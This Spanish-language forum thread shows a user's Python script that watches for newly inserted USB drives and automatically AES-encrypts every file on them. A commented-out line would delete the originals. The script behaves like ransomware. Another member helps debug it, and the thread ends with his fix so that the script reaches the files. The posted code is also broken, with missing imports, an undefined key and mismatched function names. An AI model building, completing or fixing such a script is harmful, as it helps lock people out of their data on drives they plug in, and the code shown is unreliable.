Autor
|
Tema: el script al momento de cifrar los archivos del usb truena python (Leído 6,949 veces)
|
geshiro
Desconectado
Mensajes: 178
|
lo que quiero es hacer que en cuanto mande la ruta de los archivos del usb que me encripte todo pero cuando quiero hacer ese paso me truena y dice que no existe la ruta espeficiada pero en el scan que hace si vienen los archivos como pudiera arreglarlo? Searching usb... letter: F:\ There were 1 drives added: set(['F']). Newly mounted drive letter is F:\ Traceback (most recent call last): File "C:\Users\Aaron\Desktop\new\script.py", line 80, in <module> encrypt_file(str(encrypt_files)) File "C:\Users\Aaron\Desktop\new\script.py", line 25, in encrypt_file filesize = str(os.path.getsize(filename)).zfill(16) File "C:\Python27\lib\genericpath.py", line 57, in getsize return os.stat(filename).st_size WindowsError: [Error 3] El sistema no puede encontrar la ruta especificada: "['Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf', 'CEH-Exam-Blueprint-v2.0.pdf', 'index.png', '\\xedndice.png', 'Learning Python, 5th Edition.pdf', 'kali-linux-2016.2-amd64.iso', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02 (1).pdf', 'C\\xe1lculo de Una Variable - James Stewart - 7a Ed.pdf', 'Untitleddocument.docx', 'VirtualBox-5.1.8-111374-Win.exe', 'from_sqli_to_shell_i386.iso', 'script.py', 'Visit Islas Tasmania.docx', 'solucionariodechapraycanale-quintaedicion-150726233458-lva1-app6891.pdf', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02.pdf']"
from ctypes import windll from Crypto.PublicKey import RSA from Crypto.Hash import SHA256 from Crypto import Random import string import time import os, sys def get_drives(): drives = [] bitmask = windll.kernel32.GetLogicalDrives() for letter in string.uppercase: if bitmask & 1: drives.append(letter) bitmask >>= 1 return drives def encrypt(filename): chunksize = 64 * 1024 outFile = os.path.join(os.path.dirname(filename), "(encrypted)"+os.path.basename(filename)) filesize = str(os.path.getsize(filename)).zfill(16) IV = '' for i in range(16): IV += chr(random.randint(0, 0xFF)) encryptor = AES.new(key, AES.MODE_CBC, IV) with open(filename, "rb") as infile: with open(outFile, "wb") as outfile: outfile.write(filesize) outfile.write(IV) while True: chunk = infile.read(chunksize) if len(chunk) == 0: break elif len(chunk) % 16 !=0: chunk += ' ' * (16 - (len(chunk) % 16)) outfile.write(encryptor.encrypt(chunk)) def list_files(path): files = [] for name in os.listdir(path): if os.path.isfile(os.path.join(path, name)): files.append(name) return files if __name__ == '__main__': print 'Searching usb...' while True: before = set(get_drives()) time.sleep(5) after = set(get_drives()) drives = after - before delta = len(drives) if (delta): for drive in drives: if os.system("cd " + drive + ":") == 0: newly_mounted = '%c:\\'%(drive) encrypt_files = list_files(newly_mounted) print "letter: "+newly_mounted print "fueron montados %d USB agregada : %s. la letra es %s" % (delta, drives, newly_mounted) for x in encrypt_files: if os.path.basename(x).startswith("(encrypted)"): print "%s is already encrypted" %str(x) pass else: encrypt_file(str(encrypt_files)) print "encryptacion terminada %s" %str(x) """os.remove(x) """ else: print "no hay ningun usb"
|
|
|
En línea
|
|
|
|
MCKSys Argentina
|
Según veo en tu código, en la linea 80 a encrypt_file le estás pasando una lista de archivos y creo que la función espera un string con el nombre del archivo.
Lo anterior es si encrypt_file es el encrypt de la linea 22 (Aunque no es el mismo nombre de función)
Saludos!
|
|
|
En línea
|
MCKSys Argentina "Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."
|
|
|
geshiro
Desconectado
Mensajes: 178
|
Y eso como lo resolveria? Pasarle la lista a mi funcion encrypt_file() para lo realize bien
|
|
|
En línea
|
|
|
|
MCKSys Argentina
|
Y eso como lo resolveria? Pasarle la lista a mi funcion encrypt_file() para lo realize bien
En el bucle estás usando x para iterar por la lista. Deberías pasarle dicha variable a encrypt_file() en vez de la lista completa... no? Saludos! EDIT: Si debugeas el código, se te hará más snecillo corregir los errores que tenga.
|
|
« Última modificación: 7 Diciembre 2016, 18:31 pm por MCKSys Argentina »
|
En línea
|
MCKSys Argentina "Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."
|
|
|
geshiro
Desconectado
Mensajes: 178
|
Le estoy pasando dicha variable
|
|
|
En línea
|
|
|
|
MCKSys Argentina
|
Le estoy pasando dicha variable
Mira la línea 80 del código que has posteado. Ahí es donde debes usar pasarle x a encrypt_file(). Incluso el str() estaría demás. Saludos!
|
|
|
En línea
|
MCKSys Argentina "Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."
|
|
|
geshiro
Desconectado
Mensajes: 178
|
si de hecho ya lo intente solo que al mandarlo ahora me muestra que no puede encontrar el otro incluso usando encrypt_file(x)
Searching usb... letter: F:\ There were 1 drives added: set(['F']). Newly mounted drive letter is F:\ Traceback (most recent call last): File "C:\Users\Aaron\Desktop\new\1.py", line 80, in <module> encrypt_file(x) File "C:\Users\Aaron\Desktop\new\1.py", line 25, in encrypt_file filesize = str(os.path.getsize(filename)).zfill(16) File "C:\Python27\lib\genericpath.py", line 57, in getsize return os.stat(filename).st_size WindowsError: [Error 2] El sistema no puede encontrar el archivo especificado: 'Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf'
|
|
|
En línea
|
|
|
|
MCKSys Argentina
|
Claro, porque x sólo contiene el nombre. Deberías armar el path completo al archivo para poder abrirlo.
Saludos!
|
|
|
En línea
|
MCKSys Argentina "Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."
|
|
|
geshiro
Desconectado
Mensajes: 178
|
como pudiera armar bien el path para abrirlos se suponia que en esta parte le daba la ruta de los archivos for drive in drives: if os.system("cd " + drive + ":") == 0: newly_mounted = '%c:\\'%(drive)
|
|
|
En línea
|
|
|
|
MCKSys Argentina
|
Prueba reemplazar x con os.path.join(newly_mounted, x)
Ten en cuenta que sólo trabajará con los archivos que están en el root. Si hay carpetas y archivos dentro, vas a tener que devolver las carpetas también como path en la función list_files()
Saludos!
|
|
|
En línea
|
MCKSys Argentina "Si piensas que algo está bien sólo porque todo el mundo lo cree, no estás pensando."
|
|
|
|
Mensajes similares |
|
Asunto |
Iniciado por |
Respuestas |
Vistas |
Último mensaje |
|
|
[c++] Cifrar y descifrar archivos
Programación C/C++
|
Beakman
|
2
|
18,019
|
5 Diciembre 2016, 17:26 pm
por engel lex
|
|
|
cifrar/descifrar archivos
.NET (C#, VB.NET, ASP)
|
rob1104
|
3
|
7,201
|
1 Julio 2012, 19:41 pm
por Keyen Night
|
|
|
[aporte]c++ cifrar/descifrar archivos comando
Programación C/C++
|
daryo
|
4
|
4,121
|
12 Junio 2013, 17:57 pm
por daryo
|
|
|
Problema en script para cifrar [Python]
Scripting
|
nohate
|
2
|
3,648
|
15 Julio 2013, 17:13 pm
por nohate
|
|
|
python!!!!!!! no reconoce el __init__ al momento de hacer un objeto
Scripting
|
v3ngad0rx
|
1
|
2,362
|
14 Febrero 2019, 13:39 pm
por tincopasan
|
|